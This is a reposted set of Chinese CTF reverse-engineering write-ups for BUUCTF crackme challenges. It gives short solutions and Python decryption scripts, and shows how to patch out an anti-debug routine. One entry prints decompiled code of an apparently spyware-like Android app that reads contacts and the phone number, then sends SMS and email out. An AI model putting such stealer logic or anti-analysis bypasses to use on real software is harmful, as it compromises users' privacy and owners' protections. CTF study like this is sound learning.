欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 维修 > buuctf-reverse write-ups (1)

buuctf-reverse write-ups (1)

2025/4/19 14:52:45 来源:https://blog.csdn.net/qq_54218833/article/details/140552341  浏览:    关键词:buuctf-reverse write-ups (1)

文章目录

  • buu001-easyre
  • buu002-reverse1
  • buu003-reverse2
  • buu004-内涵的软件
  • buu005-新年快乐
  • buu006-xor
  • buu007-helloword
  • buu008-reverse3
  • buu009-不一样的flag
  • buu010-SimpleRev
  • buu011-Java逆向解密
  • buu012-[GXYCTF2019]luck_guy
  • buu013-[BJDCTF2020]JustRE
  • buu014-刮开有奖
  • buu015-简单注册器
  • buu016-[GWCTF 2019]pyre
  • buu017-[ACTF新生赛2020]easyre
  • buu018-findit
  • buu019-rsa
  • buu020-[ACTF新生赛2020]rome
  • buu021-[FlareOn4]login
  • buu022-CrackRTF
  • buu023-[WUSTCTF2020]level1
  • buu024-[GUET-CTF2019]re
  • buu025-[2019红帽杯]easyRE
  • buu026-[MRCTF2020]Transform
  • buu027-[WUSTCTF2020]level2
  • buu028-[SUCTF2019]SignIn
  • buu029-[ACTF新生赛2020]usualCrypt
  • buu030-[HDCTF2019]Maze
  • buu031-[MRCTF2020]Xor
  • buu032-[MRCTF2020]hello_world_go
  • buu033-Youngter-drive
  • buu034-[WUSTCTF2020]level3
  • buu035-相册
  • buu036-[FlareOn4]IgniteMe
  • buu037-[WUSTCTF2020]Cr0ssfun

buu001-easyre

直接用IDA打开,main函数里面就是。

buu002-reverse1

用IDA打开通过输出字符串定位到输入部分,flag在字符串中直接就有。

buu003-reverse2

用IDA打开,这是一个Linux ELF文件,在main函数中首先把flag里面的i和r替换成1就行了。

buu004-内涵的软件

用IDA打开,把DBAPP改成flag就行了。

buu005-新年快乐

这道题是使用了UPX进行了压缩加壳,只需要用UPX工具解压即可得到flag。

UPX使用方法:

PS E:\...\upx-4.0.2-win64> .\upx.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2023
UPX 4.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 30th 2023Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..Commands:-1     compress faster                   -9    compress better-d     decompress                        -l    list compressed file-t     test compressed file              -V    display version number-h     give more help                    -L    display software license
Options:-q     be quiet                          -v    be verbose-oFILE write output to 'FILE'-f     force compression of suspicious files-k     keep backup files
file..   executables to (de)compressType 'upx --help' for more detailed help.UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

buu006-xor

这道题进行了一个简单的异或操作,将前一个字符与后一个字符异或。

解密脚本:

cipher = '\x66\x0A\x6B\x0C\x77\x26\x4F\x2E\x40\x11\x78\x0D\x5A\x3B\x55\x11\x70\x19\x46\x1F\x76\x22\x4D\x23\x44\x0E\x67\x06\x68\x0F\x47\x32\x4F'
plaintext = ['f']for i in range(len(cipher) - 1):plaintext.append(chr(ord(cipher[i]) ^ ord(cipher[i+1])))print(''.join(plaintext))

buu007-helloword

这道题是一个apk文件的逆向,可以使用Jadx的Intellij插件进行反编译,直接获得flag。

buu008-reverse3

这道题是一个base64编码程序,实际上不需要对代码进行全部逆向分析,只需要通过动态调试即可得知。在编码之后,程序还进行了另一种处理:对索引为x的字节的ASCII码加x,然后与事先保存的字符串比较。可写出下列解密程序:

import base64cipher = 'e3nifIH9b_C@n@dH'
dec_1 = []for i in range(len(cipher)):dec_1.append(chr(ord(cipher[i]) - i))dec_1 = ''.join(dec_1)print(base64.b64decode(dec_1))

buu009-不一样的flag

走迷宫。按照0的路线走即可。

#1111
01000
01010
00010
1111#

buu010-SimpleRev

一个简单的转换。python脚本:

key = 'adsfkndcls'
text = 'killshadow'
answer = [] * 10
k = 10
for i in range(10):for j in range(128):if not (0x40 < j <= 0x40 + 26 or 0x60 < j <= 0x60 + 26):continueif chr((j - 39 - ord(key[k % 10]) + 97) % 26 + 97) == text[i] and (0x40 < j <= 0x40+26):answer.append(chr(j))k += 1break
print(''.join(answer))

buu011-Java逆向解密

用Intellij反编译class文件,一个简单的字节加密。

buu012-[GXYCTF2019]luck_guy

脚本:

former = 'GXY{do_not_'
x = 'icug`of\x7F'
t = [] * 8
for i in range(len(x)):if(i % 2 == 1):  t.append(chr(ord(x[i]) - 2))else:t.append(chr(ord(x[i]) - 1))
print(former + ''.join(t))

buu013-[BJDCTF2020]JustRE

要点19999次才能获得flag,用Shift+F12直接找到flag。

buu014-刮开有奖

这道题的DialogFunc函数里面有一个sub_4010F0函数,里面对一个长度为10的数组进行了处理,直接把伪代码拷到Dev里面执行得到结果,下面还有一个是base64编码,然后可以根据判断条件把flag拼出来。

buu015-简单注册器

直接用jadx打开,把flag生成的代码直接复制到Java执行即可。

buu016-[GWCTF 2019]pyre

这是一个pyc的python字节码逆向,安装undecompyle进行反编译。
undecompyle x.pyc > x.py
然后逆向解密即可。

buu017-[ACTF新生赛2020]easyre

又是一个UPX加壳,直接脱壳逆向。

x = "*F'\"N,\"(I?+@"
data = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
answer = ['A', 'C', 'T', 'F', '{']
for i in range(12):for j in range(1, len(data) + 1):if x[i] == data[j - 1]:answer.append(chr(j))
answer.append('}')
print(''.join(answer))

buu018-findit

jadx反编译。

public class main {  public static void main(String[] args) {  final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};  final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};  char[] x = new char[17];  char[] y = new char[38];  for (int i = 0; i < 17; i++) {  if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {  x[i] = (char) (a[i] + 18);  } else if ((a[i] < 'A' || a[i] > 'Z') && (a[i] < 'a' || a[i] > 'z')) {  x[i] = a[i];  } else {  x[i] = (char) (a[i] - '\b');  }  }  for (int i2 = 0; i2 < 38; i2++) {  if ((b[i2] < 'A' || b[i2] > 'Z') && (b[i2] < 'a' || b[i2] > 'z')) {  y[i2] = b[i2];  } else {  y[i2] = (char) (b[i2] + 16);  if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {  y[i2] = (char) (y[i2] - 26);  }  }  }  System.out.println(y);  }  
}

buu019-rsa

一道crypto的题,用yafu可以分解他给的公钥,然后解密。

buu020-[ACTF新生赛2020]rome

首先用UPX脱壳,然后逆向就行了,就是一个凯撒加密。

tar = 'Qsw3sj_lz4_Ujw@l'
answer = []
for i in range(16):for j in range(128):k = 0if 64 < j <= 90:k = (j - 51) % 26 + 65elif 96 < j <= 122:k = (j - 79) % 26 + 97else:k = jif k == ord(tar[i]):answer.append(chr(j))break
print(''.join(answer))

buu021-[FlareOn4]login

还是凯撒加密,不过是JS代码审计。位移13位。

buu022-CrackRTF

这题进行了2次哈希,第1次是SHA哈希,第2次是MD5哈希。第1次只能输入整数,第2次输入不限,对第2次输入的暴力可能需要的时间比较长。

buu023-[WUSTCTF2020]level1

直接逆,不解释了。

output = [198, 232, 816, 200, 1536, 300, 6144, 984, 51200, 570, 92160, 1200, 565248, 756, 1474560, 800, 6291456, 1782, 65536000]
for i in range(len(output)):if i & 1 == 0:output[i] >>= i+1else:output[i] //= i+1
print(''.join([chr(o) for o in output]))

buu024-[GUET-CTF2019]re

这题可以使用Detect It Easy工具检测到UPX加壳,然后脱壳逆向。
不知道为什么flag里面有一个字节不给,还得爆破。
flag{e165421110ba03099a1c039337}

buu025-[2019红帽杯]easyRE

这题是一个Linux静态编译的文件,关键就是要理清楚一些库函数的功能。

  while ( v3 < v5 - 2 ){*(_BYTE *)(v7 + v3) = alphabet[(unsigned __int8)a1[v4] >> 2];*(_BYTE *)(v7 + v3 + 1LL) = alphabet[(16 * (a1[v4] & 3)) | ((unsigned __int8)a1[v4 + 1] >> 4)];*(_BYTE *)(v7 + v3 + 2LL) = alphabet[(4 * (a1[v4 + 1] & 0xF)) | ((unsigned __int8)a1[v4 + 2] >> 6)];*(_BYTE *)(v7 + v3 + 3LL) = alphabet[a1[v4 + 2] & 0x3F];v4 += 3;v3 += 4;}

sub_0x400E44函数里面找到上面这块代码,明显能看出是用来base64编码的,因此改名为base64_encode

然后在main函数里面找到这段代码:

  v18 = __readfsqword(0x28u);qmemcpy(secret, "Iodl>Qnb(ocy", 12);secret[12] = 0x7F;qmemcpy(&secret[13], "y.i", 3);secret[16] = 0x7F;qmemcpy(&secret[17], "d`3w}wek9{iy=~yL@EC", 19);memset(input, 0, sizeof(input));read(0LL, input, 0x25uLL);input[36] = 0;LODWORD(v0) = strlen(input);if ( v0 == 36 ){for ( i = 0; ; ++i ){LODWORD(v1) = strlen(input);if ( i >= v1 )break;if ( (unsigned __int8)(input[i] ^ i) != secret[i] )goto LABEL_9;}...}

就是一个字符串解密,用下面的脚本进行解密:

secret = 'Iodl>Qnb(ocy\x7fy.i\x7fd`3w}wek9{iy=~yL@EC'
plaintext = ''for i in range(len(secret)):plaintext += chr(ord(secret[i]) ^ i)print(plaintext)

得到字符串为:Info:The first four chars are flag

这个是第一步,然后还有第二步,第二步看似是一个base64,编码编了10层之后出来一个网址,但这个网址是骗人的,flag在其他的地方。

https://bbs.kanxue.com/thread-254172.htm

在0x6CC0A0处还发现了一个可疑的东西,可能与flag有关系。这个东西在sub_400D35里面被引用了。

unsigned __int64 sub_400D35()
{unsigned __int64 result; // raxunsigned int v1; // [rsp+Ch] [rbp-24h]int i; // [rsp+10h] [rbp-20h]int j; // [rsp+14h] [rbp-1Ch]unsigned int v4; // [rsp+24h] [rbp-Ch]unsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);v1 = time(0LL) - qword_6CEE38;for ( i = 0; i <= 1233; ++i ){sub_40F790(v1);sub_40FE60();sub_40FE60();v1 = sub_40FE60() ^ 0x98765432;}v4 = v1;if ( ((unsigned __int8)v1 ^ real_secret[0]) == 'f' && (HIBYTE(v4) ^ real_secret[3]) == 'g' ){for ( j = 0; j <= 24; ++j )sub_410E90((unsigned __int8)(real_secret[j] ^ *((_BYTE *)&v4 + j % 4)));}result = __readfsqword(0x28u) ^ v5;if ( result )sub_444020();return result;
}

这里面判断了第一个字母和第四个字母,由此可以发现这个加密的原理。

__int64 sub_4009AE()
{__int64 result; // raxresult = time(0LL);qword_6CEE38 = result;return result;
}

qword_6CEE38这个变量只在两个地方被引用,发现其值就是time(0),因此v1的值应该是0才对。实际上我们根本就不用管上面的逻辑,看if语句就可以知道v1和v4的值应该是什么。

v1=0x26,HIBYTE(v4)=0x31。

后面有个for循环,以4个字节为循环,将real_secret中的内容与v4异或。因为前4个字节是flag,所以v4的值实际上可以获取到,为0x31415926,还是个挺吉利的数字。然后我们就可以写脚本拿到真正的flag了:

secret = '@5 V]\x18"E\x17/$nb<\x27THl$nr<2E['
mask = '\x26\x59\x41\x31'
plaintext = ''for i in range(len(secret)):plaintext += chr(ord(secret[i]) ^ ord(mask[i%4]))print(plaintext)

拿到flag:flag{Act1ve_Defen5e_Test}

buu026-[MRCTF2020]Transform

这题逻辑挺简单,就是一个简单的加密:

int __cdecl main(int argc, const char **argv, const char **envp)
{char Str[104]; // [rsp+20h] [rbp-70h] BYREFint j; // [rsp+88h] [rbp-8h]int i; // [rsp+8Ch] [rbp-4h]sub_402230();printf("Give me your code:\n");scanf("%s", Str);if ( strlen(Str) != 33 ){printf("Wrong!\n");system("pause");exit(0);}for ( i = 0; i <= 32; ++i ){input[i] = Str[mask[i]];input[i] ^= LOBYTE(mask[i]);}for ( j = 0; j <= 32; ++j ){if ( cipher[j] != input[j] ){printf("Wrong!\n");system("pause");exit(0);}}printf("Right!Good Job!\n");printf("Here is your flag: %s\n", Str);system("pause");return 0;
}

直接上脚本:

mask = [9, 0x0a, 0x0f, 0x17, 7, 0x18, 0x0c, 6, 1, 0x10, 3, 0x11, 0x20, 0x1d, 0x0b, 0x1e, 0x1b, 0x16, 4, 0x0d, 0x13, 0x14, 0x15, 2, 0x19, 5, 0x1f, 8, 0x12, 0x1a, 0x1c, 0x0e, 0]cipher = 'gy{\x7fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM'
plaintext = ['a'] * len(mask)for i in range(len(mask)):c = ord(cipher[i])c ^= mask[i]plaintext[mask[i]] = chr(c)print(''.join(plaintext))

结果MRCTF{TrEnsp0sltiON_Clph3r_1s_3z},buu平台要改成flag开头。

buu027-[WUSTCTF2020]level2

这题用detect it easy扫出来也是upx加壳的,脱一下就拿到了。

buu028-[SUCTF2019]SignIn

这题就是纯纯的密码题,把输入转成大数i,给e、m、r,求i使得(i^e)%m=r。复习一下残缺不全的密码学知识…

根据欧拉定理: x φ ( y ) ≡ 1 ( m o d y ) x^{\varphi(y)}\equiv 1\pmod y xφ(y)1(mody)

模数的两个因数分别为282164587459512124844245113950593348271366669102002966856876605669837014229419

e d ≡ 1 ( m o d ( u − 1 ) ( v − 1 ) ) ed\equiv 1\pmod {(u-1)(v-1)} ed1(mod(u1)(v1)),用扩展欧几里得来算。

import gmpy2if __name__ == '__main__':m = 103461035900816914121390101299049044413950405173712170434161686539878160984549u = 282164587459512124844245113950593348271v = 366669102002966856876605669837014229419e = 65537cipher = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35d = gmpy2.invert(e, (u-1)*(v-1))print(d)print(bytes.fromhex(hex(pow(cipher, d, m))[2:]).decode())

suctf{Pwn_@_hundred_years}

FSSID:HIGDDEN_HOHTPOT PPASS:L0GIC_ANA1YSIS_CAN_FOR_FUN FSSID:HIGDDEN_HOHTPOT PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN

buu029-[ACTF新生赛2020]usualCrypt

这题实现了一个类似于base64的加密算法,3个字节输入,4个字节输出。从输出可知一共有27字节输入。进行类base64加密之后又翻转了大小写。

cipher = 'zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'
alphabet = 'ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/'
plaintext = ''def find_char(c):for i in range(len(alphabet)):if c == alphabet[i]:return ireturn -1if __name__ == '__main__':'''input[0~2], output[0~3](input[0]>>2) & 0x3F -> output[0]16 * (input[0] & 3) + (input[1] >> 4) & 0xF -> output[1]4 * (input[1] & 0xF) + (input[2] >> 6) & 3 -> output[2]input[2] & 0x3F -> output[3]input[0] = output[0] << 2 + output[1] & 30   1   2   3   4   50   0.2 0.3 0.4 0.5 0.6 0.71   1.4 1.5 1.6 1.7 0.0 0.12   2.6 2.7 1.0 1.1 1.2 1.33   2.0 2.1 2.2 2.3 2.4 2.5'''cipher2 = ''for i in cipher:if i.isalpha():cipher2 += chr(ord(i) ^ 0x20)else:cipher2 += icipher = cipher2print(cipher2)for i in range(len(cipher) // 4):plaintext += chr((find_char(cipher[i * 4]) << 2) + (find_char(cipher[i * 4 + 1]) >> 4))plaintext += chr(((find_char(cipher[i * 4 + 1]) & 0xF) << 4) + (find_char(cipher[i * 4 + 2]) >> 2))plaintext += chr(((find_char(cipher[i * 4 + 2]) & 0x3) << 6) + find_char(cipher[i * 4 + 3]))print(plaintext)

flag{bAse64_h2s_a_Surprise}

buu030-[HDCTF2019]Maze

这道题首先用upx脱壳,然后发现操作很简单,就是wasd走迷宫,但是不要忽略程序里面有一个70字节的地图,如果不给地图直接走迷宫有很多种走法能到终点,但flag只有一个,所以必须按照迷宫的走法来走。

*******+**
******* **
****    **
**   *****
** **F****
**    ****
**********

flag{ssaaasaassdddw}

buu031-[MRCTF2020]Xor

一个简单的异或。

cipher = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
plaintext = ''
for i in range(0x1B):plaintext += chr(ord(cipher[i]) ^ i)
print(plaintext)

MRCTF{@_R3@1ly_E2_R3verse!}

buu032-[MRCTF2020]hello_world_go

开盖即送,但这是一个go写的程序,也值得进行分析。这里保留这个程序待后续分析。

flag{hello_world_gogogo}

buu033-Youngter-drive

这个程序首先一开始打不开,说缺少MSVCR100D.dll,这个在网上下一个就行了。然后双击一打开就死掉,用命令行打开发现会输出两个WARNING字符串,然后进入IDA查找相关字符串:

BOOL sub_411460()
{size_t v0; // eaxBOOL i; // [esp+D0h] [ebp-24Ch]HANDLE hSnapshot; // [esp+DCh] [ebp-240h]PROCESSENTRY32W pe; // [esp+E8h] [ebp-234h] BYREFpe.dwSize = 556;hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);for ( i = j_Process32FirstW(hSnapshot, &pe); i; i = j_Process32NextW(hSnapshot, &pe) ){v0 = wcslen(pe.szExeFile);wcslwr_s(pe.szExeFile, v0 + 1);if ( !wcscmp(pe.szExeFile, L"ollyice.exe") ){printf("///WARNING///\n");exit(0);}if ( !wcscmp(pe.szExeFile, L"ollydbg.exe") ){printf("///\nWARNING\n///\n");exit(0);}if ( !wcscmp(pe.szExeFile, L"peid.exe") ){printf("///\nWARNING\n///\n");exit(0);}if ( !wcscmp(pe.szExeFile, L"ida.exe") ){printf("///\nWARNING\n///\n");exit(0);}if ( !wcscmp(pe.szExeFile, L"idaq.exe") ){printf("///\nWARNING\n///\n");exit(0);}}return CloseHandle(hSnapshot);
}

在这个函数里面可以发现这个程序有反调试的机制,CreateToolhelp32Snapshot这个WinAPI用于获取指定进程以及这些进程使用的堆、模块和线程的快照,参数传2表示TH32CS_SNAPPROCESS,即系统中快照中的所有进程,他现在拿到了所有进程的快照,然后就一个个遍历。Process32FirstW是返回系统快照中遇到的第一个进程的信息,Process32NextW就是获取下一个进程信息。wcslen是宽字符个数,wcslwr_s是把字符串大写转小写,是wchar_string_lower的缩写。然后下面判断如果进程名是ollyice等5个用于程序分析和调试的程序就会输出WARNING然后退出。一开始程序中一共打印出了2个WARNING,这里只打印出来一个,首先把这个地方的反调试给禁用了再看另外一个在哪。禁用的最简单方式就是全改成nop指令。框选这个函数里面除了retn指令之外的所有指令,然后用keypatch的fill range功能就能一键修改成nop

然后程序就能够正常跑起来了:

PS D:\CTF-reverse\buu033-Youngter-drive> .\upxout.exe
1111111111111111111111111111111111111111111111111111111111111111111111111111111
*******************************************************************************
**************             ****************************************************
**************   ********   *********************                 *************
**************   *********  *********************   ***************************
**************   *********  *********************   ***************************
**************   *********  *********************   ***************************
**************   *******   **********************   ***************************
**************   ****   *************************   ***************************
**************   *    ***************************                **************
**************   ***    *************************   ***************************
**************   ******   ***********************   ***************************
**************   ********   *********************   ***************************
**************   **********   *******************   ***************************
**************   ***********    *****************                 *************
*******************************************************************************
1111111111111111111111111111111111111111111111111111111111111111111111111111111
input flag:

找到打印这个banner的函数在sub_411BD0,这个函数只有一个scanf把用户输入保存到了一个全局变量Source里面。这个函数是由main函数直接调用的:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{HANDLE Thread; // [esp+D0h] [ebp-14h]HANDLE hObject; // [esp+DCh] [ebp-8h]j_banner();::hObject = CreateMutexW(0, 0, 0);j_strcpy(Destination, &Source);hObject = CreateThread(0, 0, StartAddress, 0, 0, 0);Thread = CreateThread(0, 0, sub_41119F, 0, 0, 0);CloseHandle(hObject);CloseHandle(Thread);while ( dword_418008 != -1 );sub_411190();CloseHandle(::hObject);return 0;
}

CreateMutexW创建一个互斥锁,CreateThread创建一个线程。这里查资料发现CreateThread返回的是一个线程句柄,之后是可以立即通过CloseHandle关闭句柄的,因为线程句柄和线程本身的生命周期不同,线程句柄被关闭并不意味着线程立即结束,所以如果一个线程不需要任何干预,在创建之后就关闭句柄即可。第一个线程的函数如下:

void __stdcall __noreturn StartAddress_0(int a1)
{while ( 1 ){WaitForSingleObject(hObject, 0xFFFFFFFF);if ( bytes_remained > -1 ){sub_41112C(&Source, bytes_remained);--bytes_remained;Sleep(0x64u);}ReleaseMutex(hObject);}
}
// positive sp value has been detected, the output may be wrong!
void __cdecl encrypter(char *buffer, int arg)
{char byte; // [esp+D3h] [ebp-5h]byte = buffer[arg];if ( (byte < 'a' || byte > 'z') && (byte < 'A' || byte > 'Z') )exit(0);if ( byte < 'a' || byte > 'z' )buffer[arg] = Palphabet[0][buffer[arg] - 0x26];elsebuffer[arg] = Palphabet[0][buffer[arg] - 0x60];
}

其中sub_41112C中有这一段处理,规定所有输入只能为字母,然后进行了处理。而另一个线程的代码如下:

void __stdcall __noreturn sub_411B10(int a1)
{while ( 1 ){WaitForSingleObject(hObject, 0xFFFFFFFF);if ( bytes_remained > -1 ){Sleep(100u);--bytes_remained;}ReleaseMutex(hObject);}
}

这两个线程执行完之后,后面进行一次字符串比较,将输入处理后的字符串与TOiZiZtOrYaToUwPnToBsOaOapsyS进行非直接比较。

int sub_411880()
{int i; // [esp+D0h] [ebp-8h]for ( i = 0; i < 29; ++i ){if ( *(&Source + i) != off_418004[i] )exit(0);}return printf("\nflag{%s}\n\n", Destination);
}

直接上脚本:

alphabet = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
cipher = 'TOiZiZtOrYaToUwPnToBsOaOapsyS'
cipher1 = ''def find_char(c):for i in range(len(alphabet)):if c == alphabet[i]:return ireturn -1for i in range(29):if i % 2 == 0:cipher1 += cipher[i]continueif find_char(cipher[i]) <= 26:cipher1 += chr(find_char(cipher[i]) + 0x60)else:cipher1 += chr(find_char(cipher[i]) + 0x26)print(cipher1)

求出来一个高度疑似flag,但是交上去不对:flag{ThisisthreadofwindowshahaIsES}。于是彻底禁了反调试之后开调。发现输入的字符串处理完之后是这样:

ThisisthreadofwindowshahaIsES
xhPsPsXhLeWdHfBiGdHwZhWhWIZEz

可见,第2、4、6、…个字符不变,那到底是什么地方出了问题呢?我换了一下处理的奇偶数,然后程序能输出flag,但是那个东西就纯粹拼不出来什么单词了,后来查wp才发现最后还有一位,那这就不是我的问题了。flag{ThisisthreadofwindowshahaIsESE}

buu034-[WUSTCTF2020]level3

一个换了表的base64,看到程序里面有个O_OLookAtYou函数获取换表操作,换完直接解码。

wctf2020{Base64_is_the_start_of_reverse}

buu035-相册

一道Android逆向,用jadx打开后首先看AndroidMenifest.xml。

<activity android:label="@string/app_name" android:icon="@drawable/iocn" android:name="cn.baidujiayuan.ver5304.C1"><intent-filter><category android:name="android.intent.category.LAUNCHER"/><action android:name="android.intent.action.MAIN"/></intent-filter>
</activity>

找到上面这个项,这里的action是android.intent.action.MAIN,因此确定了apk的入口是cn.baidujiayuan.ver5304.C1

    public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);A2.log("安装后执行这个");startService(new Intent(this, M2.class));readContacts();SmsManager.getDefault();((TelephonyManager) getSystemService("phone")).getLine1Number();A2.sendMsg(C2.phoneNumber, A2.getInstallFlag(this, ""));try {new SmsTas("", this).execute(new Integer[0]);} catch (Exception e) {A2.log("邮件发送错误");}try {new MailTask("", this).execute(new Integer[0]);} catch (Exception e2) {A2.log("邮件发送错误");}check();}

这里面有一个sendMsg方法,疑似是发送邮件。

    public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {if (!debug) {Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);m.set_host(C2.MAILHOST);m.set_port(C2.PORT);m.set_debuggable(true);m.set_to(new String[]{mailto});m.set_from(C2.MAILFROME);m.set_subject(title);m.setBody(mailmsg);try {if (m.send()) {Log.i("IcetestActivity", "Email was sent successfully.");} else {Log.i("IcetestActivity", "Email was sent failed.");}} catch (Exception e) {Log.e("MailApp", "Could not send email", e);}}return 1;}

这是在A2中发现的发送邮件的方法,其中有个MAILSERVER,定位一下:

public static final String MAILSERVER = Base64.decode(NativeMethod.m());

是个Base64解码,不过解码的东西是NativeMethod.m()

在lib目录里面的libcore.so里面找到了东西。能找到Java_com_net_cn_NativeMethod_m这个函数,然后返回了一个base64值,解码即可。

buu036-[FlareOn4]IgniteMe

简单的windows x86程序,一个加密

cipher = [0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C, 0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E, 0x56, 0x9, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13, 0x17, 0x48, 0x42, 0x1, 0x40, 0x4D, 0x0C, 0x2, 0x69, 0x0]crc = 4
plaintext = [0] * 40
idx = 39while idx >= 0:plaintext[idx] = crc ^ cipher[idx]crc = plaintext[idx]idx -= 1for i in plaintext[:-1]:print(chr(i), end="")

flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}

buu037-[WUSTCTF2020]Cr0ssfun

wctf2020{cpp_@nd_r3verse_@re_fun}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词